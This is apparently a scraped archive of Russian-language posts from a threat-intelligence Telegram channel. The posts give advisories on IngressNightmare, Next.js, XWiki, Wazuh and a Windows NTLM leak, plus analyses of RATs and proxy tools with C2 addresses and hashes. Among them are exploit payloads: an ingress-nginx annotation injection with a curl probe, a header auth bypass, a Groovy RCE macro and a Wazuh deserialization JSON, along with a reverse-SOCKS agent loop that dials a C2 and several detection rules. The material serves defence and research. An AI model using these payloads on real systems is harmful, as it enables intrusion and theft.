Нужно написать блокирующее правило на POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:
\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\
26.03.2025, 16:10
t.me/four_rays/50
22
11
859
Критические уязвимости Ingress NGINX IngressNightmare

IngressNightmare — это набор уязвимостей CVE-2025–24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 и CVE-2025-1974. С ними злоумышленник может внедрять произвольные директивы конфигурации NGINX, включая пользовательские правила маршрутизации и параметры безопасности, в уязвимые системы.

❗️ Для выполнения RCE нужно последовательно проэксплуатировать цепочку из уязвимостей. CVE-2025-1974 — ее последнее звено, которое устранено в 1.11.5, 1.12.1 и более поздних версиях. Настоятельно рекомендуем обновиться.
CVE-2025-24513 (CVSS 4.8) — недостаточная проверка входных данных в ingress-nginx, позволяющая злоумышленнику обойти каталог внутри контейнера, что может привести к DoS или ограниченному раскрытию секретов.

CVE-2025-24514 (CVSS 8.8) — аннотация Ingress auth-url позволяет внедрять конфигурацию в NGINX, что ведет к выполнению кода и раскрытию секретов.

CVE-2025-1097 (CVSS 8.8) — аннотация Ingress auth-tls-match-cn может быть использована для внедрения конфигурации в NGINX, что приводит к RCE и утечке секретов.

CVE-2025-1098 (CVSS 8.8) — аннотации Mirror-Target и Mirror-Host позволяют внедрять произвольную конфигурацию в NGINX, что ведет к RCE и утечке секретов.

CVE-2025-1974 (CVSS 9.8) — критическая уязвимость, позволяющая неаутентифицированному злоумышленнику в сети подов выполнить произвольный код в контексте ingress-nginx controller при определенных условиях.

Ingress NGINX Controller — это инструмент для управления входящим трафиком в Kubernetes-кластере. Он направляет запросы пользователей к нужным сервисам внутри кластера, действуя как прокси-сервер.

Нагрузка
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine ;\n\n"
}
}
}
}
}

Большинство уязвимостей связаны с аннотациями, например: nginx.ingress.kubernetes.io/auth-url. Разберем ее:

1️⃣ nginx.ingress.kubernetes.io — обязательная префиксная часть для аннотаций, используемых с Nginx Ingress Controller в Kubernetes. Все аннотации, которые управляют поведением Nginx Ingress Controller, должны начинаться с этого префикса.

2️⃣ auth-url — название аннотации

3️⃣ http://example.com/#;}}}\n\nssl_engine ;\;\n\n — попытка эксплуатации RCE через ssl_engine. указывает на путь /proc/{pid}/fd/{fd}, {pid} и {fd} — значения, которые злоумышленник должен угадать или перебрать. Но для проверки уязвимости может использоваться простоя строка test, как показано на примере ниже.

Пример эксплуатации

Этот запрос должен подтвердить наличие уязвимости на сервере:
curl -v -X POST -H "Content-Type: application/json" -d '{
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "test"
}
}
}
}
}' https://localhost:1337/validate --insecure
26.03.2025, 16:09
t.me/four_rays/49
1
Лог
W0326 07:59:03.292219 7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390 7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274 7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.

Как защищаться

Нужно написать блокирующее правило на POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:
\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\
26.03.2025, 16:09
t.me/four_rays/48
32
42
939
CVE-2025-24071 (NTLM Leak via .library-ms) уже ITW: как обнаружить

Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.

Работает она так: при распаковке из архива файла с расширением .library-ms происходит автоматическая NTLM-аутентификация по адресу, указанному в файле, что может раскрыть аутентификационную информацию пользователя.

Нам известно, что злоумышленники взяли уязвимость на вооружение.

Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:
Exploit Code Maturity: Unproven
Exploited: No
Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».

Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением .library-ms, который содержит путь до SMB-шары внутри тэга :
library_content = f**"
with open(library_file_name, "w", encoding "utf-&") as f:
f.write(library_content)
2. Запаковывает этот .library-ms файл в архив;
3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое .library-ms и отправляет аутентификацию на указанную SMB-шару, на которой мы предварительно поднимаем responder.

После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.

🫡 Любопытный момент: аутентификация на SMB-шаре, адрес которой зашит в файл, будет происходить при *любом* взаимодействии с созданным файлом .library-ms, от создания,до удаления или попыток переместить его в другое место на диске.

🫡 Любопытный момент [2]: если на системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

🫡 Любопытный момент [3]: после выхода патча Microsoft присвоили уязвимости новый номер, CVE-2025-24054.

Мониторинг и детектирование
Рекомендуем отслеживать создание файлов .library-ms на диске процессами-архиваторами или Windows Explorer (explorer.exe). Если вы используете стандартный аудит Windows, обратите внимание на событие Security\4663 (An attempt was made to access an object):
{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Security-Auditing",
"Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
},
"EventID": "4663",
},
"EventData": {
"Data": [
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "ObjectName"
},
{
"text": "0x3438",
"Name": "HandleId"
},
{
"text": "%%4417\r\n\t\t\t\t%%4418\r\n\t\t\t\t",
"Name": "AccessList"
},
{
"text": "0x6",
"Name": "AccessMask"
},
{
"text": "C:\\Windows\\explorer.exe",
"Name": "ProcessName"
},
{
"text": "S:AI",
"Name": "ResourceAttributes"
}
]
}
}
}

Если используете Sysmon, то на событие 11 (FileCreate):
{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Sysmon",
"Guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}"
},
"EventID": "11",
"Channel": "Microsoft-Windows-Sysmon/Operational",
},
"EventData": {
"Data": [
{
"text": "C:\\Program Files\\WinRAR\\WinRAR.exe",
"Name": "Image"
},
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "TargetFilename"
},
]
}
}
}
25.03.2025, 16:35
t.me/four_rays/47
28
30
1.1 k
Критическая уязвимость Next.js (CVE-2025–29927)

За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке Next.js, позволяющую злоумышленникам обходить проверки авторизации в middleware.

Проблема связана с некорректной обработкой внутреннего заголовка x-middleware-subrequest, который используется для предотвращения рекурсивных запросов и бесконечных циклов в middleware.

❗️ Уязвимы все версии до 14.2.25 и 15.2.3. Настоятельно рекомендуем обновиться.

Middleware (промежуточное или связующее программное обеспечение) — это компонент программного обеспечения, выполняющий обработку запросов и ответов в конвейере приложения.

Метрики
Base Score: 9.1
CWE: CWE-285

Подробности эксплуатации
Если в запросе присутствует заголовок x-middleware-subrequest с нужным значением, то middleware может быть пропущен, и запрос будет направлен непосредственно к конечной точке. Так можно обойти проверку авторизации.

Пример
1️⃣ При отправке запроса к /dashboard:
GET /dashboard HTTP/1.1
получаем ответ, который содержит перенаправление на страницу авторизации /login:
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Mon, 24 Mar 2025 07:18:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 6

/login

2️⃣ Теперь нужно добавить заголовок, содержащий полезную нагрузку.
GET /dashboard HTTP/1.1
Host: <>
Upgrade-Insecure-Requests: 1
x-middleware-subrequest: <>middleware<>
В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.
HTTP/1.1 200 OK

Полезная нагрузка
В процессе исследования уязвимости было найдено множество уникальных значений заголовка x-middleware-subrequest — все зависит от уязвимой версии. Но у всех есть общая черта использования middleware как части значения.

Как защищаться
Написать блокирующее правило на использование заголовка x-middleware-subrequest.
24.03.2025, 12:36
t.me/four_rays/46
35
20
1.0 k
👀 DarkWatchman снова шпионит за жертвами

Мы обнаружили очередную волну фишинговых атак, нацеленных на российские компании. Уже четыре года атакующие проводят новые рассылки, совершенствуя вредоносное ПО DarkWatchman RAT в части обхода защитных механизмов.

Вредоносные письма отправляются якобы от имени Межрайонного отдела судебных приставов по ИПНО г. Москвы с поддельного адреса электронной почты.

Внутри — архивы с именами, имитирующими исполнительные листы, или накладные для посылки через Pony Express, например:

Исполнительный лист №27186421-25 от .zip

Накладная №94-4112-8221.zip

В архивах скрываются вредоносные исполняемые файлы с двойным расширением и иконкой PDF, которые после анализа оказались экземплярами DarkWatchman RAT.

Кстати, наши коллеги писали о кампании посылок от якобы Pony Express в декабре 2024.

Функциональность DarkWatchman RAT

👽 Кейлоггер. Сбор данных о нажатиях клавиш для кражи учетных данных и другой конфиденциальной информации.

👽 Бэкдор. Возможность удалённого выполнения команд и управления зараженной системой.

Методы коммуникации

Для связи с командными серверами C&C используются жёстко закодированные домены, а также домены, генерируемые алгоритмом DGA, что делает атаку более устойчивой к блокировке.

Особенности DarkWatchman RAT

1️⃣ Используется техника Reflective DLL Loading для бесфайлового исполнения DLL.

2️⃣ Применяются нативные и ненативные загрузчики для обхода антивирусных решений.

➡️ Подробнее — в новой статье.
19.03.2025, 11:44
t.me/four_rays/45
37
20
1.2 k
MSConnect ReverseSocks5

В одном из инцидентов нам попался любопытный бинарный файл с именем MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью «GoStringUngarbler» — там оказались «Go-socks5» и «Yamux».

Функция main состоит всего из двух вызовов.

1️⃣ В первом происходит расшифровка строки C2 сервера 80.87.203.112:8050.

2️⃣ Во второй функции по смещению 0x4375c0 происходит сначала такой вызов:
lea rax, aTcp ; "tcp"
call En5ByLpA.Z6n01OjnUBoF
Исходя из строки «tcp», можно предположить, что En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net.

Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета En5ByLpA. Используем goresym и видим:
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.SignatureScheme.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.CurveID.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.ClientAuthType.String"
},
Типы CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls.

Далее мы видим вызов функции aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server.

Затем следуют вызовы yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:
... (config initialization)

dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);

for {
stream, err := session.AcceptStream();
ServeConn(stream); // from go-socks5
}
Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из Acebond/ReverseSocks5.

ReverseSocks5
— это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.

Если заглянуть в файл main.go, можно увидеть такую функцию:
func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
log.Println("Connecting to socks server at " + serverAddress)

var conn net.Conn
var err error

if useTLS {
conn, err = tls.Dial("tcp", serverAddress, nil)
} else {
conn, err = net.Dial("tcp", serverAddress)
}

if err != nil {
log.Fatalln(err.Error())
}

_, err = conn.Write(magicPacket[:])
if err != nil {
log.Fatalln(err.Error())
}

log.Println("Connected")

session := mux.Server(conn, psk)

for {
stream, err := session.AcceptStream()
if err != nil {
log.Println(err.Error())
break
}
go func() {
// Note ServeConn() will take overship of stream and close it.
if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
log.Println(err.Error())
}
}()
}

session.Close()
}
В коде этой функции используются другие реализации mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту версию функции, которая представлена в исследуемом семпле.

Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.

IOC:
80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b
13.03.2025, 11:05
t.me/four_rays/44
7
418
3.03.2025, 12:19
t.me/four_rays/40
7
425
3.03.2025, 12:19
t.me/four_rays/42
9
591
3.03.2025, 12:19
t.me/four_rays/43
7
418
3.03.2025, 12:19
t.me/four_rays/41
20
7
379
Что это за линии в моем дизассемблере и как соединить блоки кода 🤔

Наверное, каждый реверсер когда-нибудь задавал себе подобные вопросы, когда видел висящие в воздухе блоки кода и пунктирные линии (Скриншоты 1 и 2).

Обычно времени и желания разбираться в подобных вопросах нет — они не сильно мешают. Мы тоже годами откладывали решение, но в конце концов нашли его.

1️⃣ Разбираемся с линиями

Оказывается, в дизассемблере IDA есть функции, которые не возвращают управление вызывающей функции. Как раз для обозначения вызовов таких функций в IDA используется понятие no return line:
; ---------------------------------------------------------------------------
Подробнее об этом можно почитать в блоге Hex Rays в 126 серии постов «Igor's Tip of the Week».

2️⃣ Соединяем блоки

Для соединения блоков в дизассемблере необходимо в параметрах функции sub_7FF7010A9A03 убрать галочку со свойства Does not return (Скриншот 3). Да, именно у самой функции sub_7FF7010A9A03, а не в параметрах родительской функции, в которой мы видим call sub_7FF7010A9A03.

Затем IDA обычно автоматически связывает нужные блоки (Скриншот 4). Если этого не произошло, то можно выделить инструкции, между которыми проходит no return line, и нажать C (команда «MakeCode»).

IDA задаст два вопроса — на них можно ответить «Analyze» и «Yes». После этого вы увидите, что no return line исчезла (Скриншот 5), а блоки кода соединились.

Отметим, что no return-функции имеют соответствующий тип, например:
void __fastcall __noreturn sub_7FF7010A9A03();

А что по декомпилированному коду в окне псевдокода?

No return-функции могут также влиять и на декомпилированный код, поэтому если вы видите, что одна инструкция декомпилированного кода соответствует большому количеству разных инструкций в дизассемблере, да и вообще в псевдокоде не хватает строчек кода, то можно попробовать следующее:

🫡 Изменить тип no return функции (кнопка Y), убрав __noreturn;

🫡 Иногда нужно убрать опцию Does not return в параметрах функции.

Подробнее подобный кейс описан в блоге Hex Rays в 162 серии постов «Igor's Tip of the Week», дополнительно можно обратить внимание на 159 серию.
3.03.2025, 12:19
t.me/four_rays/39
21
8
416
Критическая уязвимость в XWiki CVE-2025-24893

В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.

Описание
Любой пользователь может выполнить произвольное удаленное выполнение кода (RCE) через запрос к SolrSearch. Уязвимы версии 5.3-milestone-2 по 15.10.11 и с версии 16.0.0-rc-1 до 16.4.1

Метрики
Base Score: 9.8
CWE-95

Настоятельно рекомендуем обновиться ❗️

Подробности атаки

Были обнаружены несколько PoC exploit на данную уязвимость. Уязвимой конечной точкой является /xwiki/bin/get/Main/SolrSearch, при значении параметра media равным rss. Сама полезная нагрузка передается в GET или POST параметре text и со значением параметра media равным rss.

Пример нагрузки
```}}}{{async async=false}}{{groovy}}CODE{{/groovy}}{{/async}}```

Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
— {{async async=false}} — попытка отключить асинхронное выполнение макросов.
— {{groovy}} — открывает блок макроса Groovy, который позволяет выполнить Groovy-код на сервере. Могут использоваться и другие виды скриптов, например, python.
— CODE — произвольный код. Вместо CODE располагается RCE код, bash команды могут предаваться внутри, например, new ProcessBuilder.
— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой: ….{{groovy}}CODE1; CODE2; CODE3{{/groovy….

Рекомендации по детекту

Ловить эту атаку сможет правило, которое:

1️⃣проверяет, что запросы идут на /xwiki/bin/get/Main/SolrSearch;
2️⃣ проверяет, что параметр media равен rss;
3️⃣ Проверяет, что параметр text содержит открытие блока макроса {{groovy}},{{python}},{{javascript}} и т.д.

Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.
26.02.2025, 12:53
t.me/four_rays/38
27
28
577
Группировка Erudite Mogwai использует в атаках кастомный Stowaway для продвижения в сети жертвы

Stowaway — это утилита для пентестеров на языке «Golang» от китайских разработчиков. Она позволяет туннелировать трафик и создавать reverse shell.

Злоумышленники используют лишь её прокси-часть с собственными доработками. По сути, они создали форк, который меняет протокол и базовую функциональность с каждой версией.

Мы сравнили известные нам семплы Stowaway с новыми и с оригинальной утилитой. Вот ключевые особенности:

💣 Злоумышленники используют lz4 для сжатия;

💣 Трафик шифруют алгоритмом XXTEA;

💣 Кодовое слово передается в аргумент -f. Затем от него вычисляется md5 и сравнивается со значением из семпла. Если кодовое слово не совпадает — утилита перестает работать;

💣 В новых версиях группировка добавила поддержку «QUIC-go»;

💣 С каждой новой итерацией меняются «Hello Message» и сама структура протокола.

Недавно нам попался новый семпл 01b3cfe581e5243f5b3a38a6ba229d3fe32175c480ac0999e515463c03c92a6e, который для сжатия данных использует библиотеку «Flate». Его загрузка происходила с IP 176.32.35.184.

Раньше эта группировка была известна под названием Space Pirates. Мы же называем её Erudite Mogwai. Дело в том, что в семплах мы нашли отсылки на исторические события и литературные произведения — атакующие демонстрируют свою эрудированность.

Подробнее про утилиту и про новый инцидент, связанный с группировкой, читайте в нашей новой статье.
25.02.2025, 11:40
t.me/four_rays/37
28
21
533
Пара слов о Trusted relationship

С начала года команда Solar 4RAYS уже дважды расследовала инциденты, где первичное проникновение в инфраструктуру осуществлялось через подрядчиков.

Мы обнаружили:

👾 вход по RDP с использованием УЗ подрядчика в нерабочее время;

👾 размещение вредоносного ПО класса Proxy (Chisel, Localtonet) с дальнейшей активностью через установленный туннель;

👾 дампинг lsass для получения новых УЗ и более высоких привилегий, на поздних стадиях атаки — DCSync;

👾 использование утилиты Sysinternals (ProcDump и PsExec), Impacket и Mimikatz;

👾 использование в атаке Kali Linux по данным журналов.

Техники не новые — бреши в организациях остаются прежними. Хотим поделиться советами: что сделать, чтобы атакующим было сложнее оказаться в вашей инфраструктуре и навредить ей.

0️⃣ Прежде чем предоставить подрядчику доступ к вашей сети, убедитесь, что он себя защищает:
— регулярно делает оценку компрометации;
— проводит аудит: Penetration Testing, Red Teaming.

Важно, чтобы у подрядчика вовремя обновлялось ПО и существовали политики для паролей и разграничения доступа. Если этого нет, он станет потенциальным источником угрозы.

1️⃣ Используйте двухфакторную аутентификацию для подрядчиков и VPN-подсети для внутренних сервисов. Это затруднит атакующим первоначальное проникновение и дальнейшее продвижение по инфраструктуре.

2️⃣ Сегментируйте сеть. Даже если атакующие получили доступ к вашей инфраструктуре через подрядчика, изоляция критичных сегментов или систем на сетевом уровне позволит сократить поверхность атаки.

3️⃣ Деактивируйте учетные записи подрядчиков, когда работы внутри инфраструктуры будут окончены. В случае необходимости их можно будет активировать.

Отслеживайте неиспользуемые учетные записи подрядчиков — они могут быть активны. В управлении жизненным циклом учеток, доступом к внутренним системам и сервисам поможет IdM.

4️⃣ Мониторьте активность в сети ежедневно. Оба наших инцидента закончились благополучно, потому что коллеги из SOC своевременного заметили вредоносные действия. Правда, атакующие использовали весьма «шумные» техники, поэтому найти их было несложно.

Когда в системах нет мониторинга событий, а атака развивается по сценарию Living of the Land, быстро обнаружить злоумышленников не получится — а значит может быть уже слишком поздно.
18.02.2025, 12:30
t.me/four_rays/36
25
30
573
Критическая уязвимость WAZUH CVE-2025-24016

В сети появился первый открытый шаблон для сканера уязвимостей Nuclei, проверяющий на наличие уязвимости CVE-2025-24016.

Описание:
В версиях Wazuh с 4.4.0 по 4.9.1 включительно обнаружена уязвимость, связанная с небезопасной десериализацией, позволяющая удаленно выполнять код на сервере.

Метрики:
Base Score: 9.9
CWE-502

Известные подробности:
В DistributedAPI данные сериализуются в JSON и десериализуются через as_wazuh_object (файл framework/wazuh/core/cluster/common.py). Если злоумышленник сможет вставить несанкционированный словарь в запрос или ответ DAPI, это позволит ему подделать необработанное исключение (unhandled_exc) и выполнить произвольный Python-код.

Полезная нагрузка передается в формате JSON. Для реализации атаки необходимо передать учетные данные или токен авторизации совместно с полезной нагрузкой. В шаблонах фигурирует уязвимая конечная точка /security/user/authenticate/run_as.

Пример нагрузки:
{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}

❗️ Возможно, существуют иные методы эксплуатации CVE-2025-24016.

Как защититься:

👀 Обновиться на версию 4.9.1 или новее;

👀 Сменить стандартные значения Логин/Пароль от DAPI;

👀 Для регистрации на WAF/IDS попыток сканирования уязвимости CVE-2025-24016 публичными шаблонами, рекомендуем написать правило, которое будет блокировать/помечать POST запросы с заголовком Content-Type: application/json и body равному регулярному выражению:
__unhandled_exc__[\":{ ]+(__class__|__call__).*?__args__

P.S. Команда 4RAYS продолжает следить за новыми способами эксплуатации CVE-2025-24016. Если появятся какие-то подробности, мы расскажем о них в канале.
14.02.2025, 17:05
t.me/four_rays/35
30
33
685
🚨 NGC5160 атаковала почтовые серверы Communigate c помощью критической уязвимости

Недавно ФСТЭК опубликовала информацию об уязвимости в почтовых серверах CommunigatePro. Она проста в эксплуатации и позволяет атакующим удаленно выполнить произвольный код на почтовом сервере, а потому является критической. В CVSS эта брешь получила оценку 9.8.

В октябре 2024 года мы расследовали серию атак на почтовые серверы с ПО CommunigatePro — их целью была полная компрометация почтовой переписки организаций из государственного, оборонно-промышленного комплекса и НКО. 

Мы ещё собираем сведения, чтобы отнести атаку к какой-либо группировке, поэтому пока назвали этот кластер NGC5160. Наш анализ обстоятельств позволяет предположить, что в них использовалась одна или несколько уязвимостей нулевого дня в CommunigatePro.

Вот несколько рекомендаций по защите, которые помогут обезопаситься сейчас и затруднить подобные атаки в будущем:

1️⃣ установите обновление от разработчика: https://communigatepro.ru/history;

2️⃣ разрешите подключения к почтовому серверу только из корпоративной сети или VPN;

3️⃣ для приема писем используйте SMTP-relay;

4️⃣ ограничьте исходящие соединения сервера в интернет -— это позволит затруднить развитие атаки в случае успешной эксплуатации.

Обратите внимание на все эти рекомендации, поскольку уязвимости может быть подвержена каждая версия продукта, в том числе распространенная Communigate Pro 6.4.*, для которой пока что нет патча.
14.02.2025, 15:33
t.me/four_rays/34
29
8
390
Еще раз о десериализации VIEWSTATE: как правильно менять скомпрометированные ключи ASP.NET, чтобы атакующим было труднее вернуться

Коллеги из Microsoft опубликовали любопытный разбор атаки с использованием уязвимости десериализации ненадежного параметра ViewState и публично известных ключей ASP.NET.

TLDR: неизвестная группировка использует публично доступные статичные ключи ASP.NET, чтобы через десериализацию ненадежного параметра ViewState внедрять вредоносный код и доставлять на целевые машины постэксплуатационный фреймворк Godzilla.

Microsoft рекомендует заменять статичные ключи ASP.NET, но не учитывает, что злоумышленники могут получить доступ к auto-generated ключам, мастер-ключ которых хранится в реестре. В этом случае процесс замены будет отличаться — а «живые» атаки с такими особенностями уже были.

В конце 2023 года мы расследовали случаи, в которых две не связанные между собой APT-группировки эксплуатировали десериализацию ненадежного параметра ViewState (кейс 1, кейс 2).

В обоих случаях у жертв использовались auto-generated-ключи на Exchange-серверах, и злоумышленники получили доступ к ним.

Для корректной смены скомпрометированных auto-generated ключей необходимо:

1️⃣ удалить старое скомпрометированное значение из реестра,

2️⃣ перезапустить службу веб-сервера IIS или соответствующий worker-процесс. 

Также рекомендуем настроить доступ к критичным сервисам, таким как Exchange, через VPN. Это усложнит внешнему злоумышленнику проведение подобных атак и даст время на смену скомпрометированных ключей.

Очень подробно алгоритм смены скомпрометированных auto-generated ключей мы разобрали здесь.
10.02.2025, 15:19
t.me/four_rays/33
24
13
663
NGC4020: угроза, способная отключить оборону

В марте 2024 года наша команда расследовала атаку на российскую промышленную компанию. Злоумышленники использовали вредоносный имплант пространства ядра для обхода антивирусного решения. Он отключал обратные вызовы ядра и драйвера минифильтра, блокируя механизм защиты.

Читайте статью «Как NGC4020 отключают вашу защиту, используя уязвимость в DameWare Mini Remote Control», чтобы узнать:

👽 Как через уязвимость в популярном инструменте удаленного администрирования злоумышленники проникли в инфраструктуру.

👽 С помощью чего им удалось обойти антивирус и какое ВПО использовалось для закрепления на атакуемых системах.

👽 Почему атакующим не удалось развить атаку.
29.01.2025, 16:28
t.me/four_rays/32
1.4 k
Продолжаем отслеживать NGC5350

Сегодня хотим поделиться любопытной информацией о кластере NGC5350, который коллеги по индустрии именуют группировкой Hellhounds.

Недавно на публичный мультисканер из России загрузили ELF-семпл DecoyDog под именем «33»:
03b007a5fbb9d1556b4bedd6e930463ce35f5ae17b245edc58c12eb086de891f
Захардкоженный в теле семпла хэш коммита GitHub: revision 673a05b1.

Это connect-имплант DecoyDog, а не DNS, про который чаще выпускали статьи коллеги по индустрии. Он подключается к указанному C2, используя заданный тип транспорта. Конфиг рассматриваемого семпла:
"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "185.143.221.125:80"]
Также в конфиге были SSL-сертификаты с датой начала действия (Not Before): 16/07/2024 15:34:40.

Информация по C2 — 185.143.221.125 Moscow AS 51659 (LLC Baxet). В 2024 резолвился в:
ns1.dpi-srv-s01.net
ns2.dpi-srv-s01.net
Домен зарегистрирован 2024-08-28. По информации из сертификатов, образец мог использоваться уже в июле 2024.

На 185.143.221.125 на порту 49364/TCP мы обнаружили сертификат с характерным Subject:
Subject C=ZZ, O=Pupy, CN=185.143.221.125
Это сертификат proxy-сервера DecoyDog. Подобные сертификаты используются в golang-коде утилиты proxy из GitHub Pupy и упоминались в первой статье Infoblox.

Сертификат создан на следующий день после начала действия сертификатов семпла.

По параметрам сертификата Proxy можно найти дополнительные Proxy-серверы DecoyDog или Pupy:
5.252.176.63 MIVOCLOUD (39798) Moscow, Russia
91.210.107.141 ORG-LVA15-AS (50867) Moscow, Russia
5.252.176.45 MIVOCLOUD (39798) Moscow, Russia
52.184.34.71 MICROSOFT-CORP-MSN-AS-BLOCK (8075) Hong Kong

Разберем детальнее каждый IOC

1️⃣ 5.252.176.63:64539 (01.06.2024-01.06.2025)

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA.

В 2024-01-11 стал резолвиться в mp0.ignorelist.com, который использовался First Stage Decoy Dog Loader for Windows «MaxPatrol SIEM Agent.exe» из статьи «Hellhounds: Операция Lahat. Часть 2».

2️⃣ 91.210.107.141:62731 (31.08.2024-31.08.2025)

С 2024-08-01 резолвится в:
ns1.mow-srv-0074h.network
ns2.mow-srv-0074h.network
По неймингу похож на старые C2 DecoyDog.

Здесь поле Issuer пустое. Вышеупомянутая golang-утилита proxy генерирует сертификаты с непустым Issuer.

3️⃣ 5.252.176.45:29311 (25.09.2024-25.09.2025)

Здесь поле Issuer тоже пустое. IP упомянут в одном из GitHub, как «TOR Known Tor Relay/Route».

4️⃣ 52.184.34.71:9000 (01.10.2024-01.10.2025)

На 80/TCP CaddyServer— веб-сервак на Go.

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA. В Names и CN вместо ожидаемого 52.184.34.71: 10.1.0.4

Что ещё интересного

Есть ещё старый DecoyDog из 2023 года с таким же revision 673a05b1 — _bareos.cfg:
d189e0150f42d2a2e40fefcec6973fcbc4a8b1a1757a358d13df3519ef275412
Загружен на мультисканер 2023-09-12 04:47:24 +0300 MSK от того же пользователя, что и упомянутый в начале поста семпл. Это тоже connect DecoyDog апреля 2023 года. Конфиг:
"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "194.87.68.65:80"]
Этот семпл и C2 уже упоминались в первой части статьи «Hellhounds: операция Lahat».

Интересно, что в атаках в апреле 2023 и в летом 2024 года использовался один и тот же connect-имплант, но с разными C2.

IOC:
C2 connect DecoyDog:
185.143.221.125
194.87.68.65
proxy PupyRAT или DecoyDog:
5.252.176.45
5.252.176.63
52.184.34.71
91.210.107.141
Возможно, пустой Issuer — это показатель, что используется кастомная версия proxy, и перед нами не стандартный Pupy, а DecoyDog.
27.01.2025, 14:29
t.me/four_rays/31
Os resultados da pesquisa são limitados a 100 mensagens.
Esses recursos estão disponíveis apenas para usuários premium.
Você precisa recarregar o saldo da sua conta para usá-los.
Filtro
Tipo de mensagem
Cronologia de mensagens semelhante:
Data, mais novo primeiro
Mensagens semelhantes não encontradas
Mensagens
Encontre avatares semelhantes
Canais 0
Alta
Título
Assinantes
Nenhum resultado corresponde aos seus critérios de pesquisa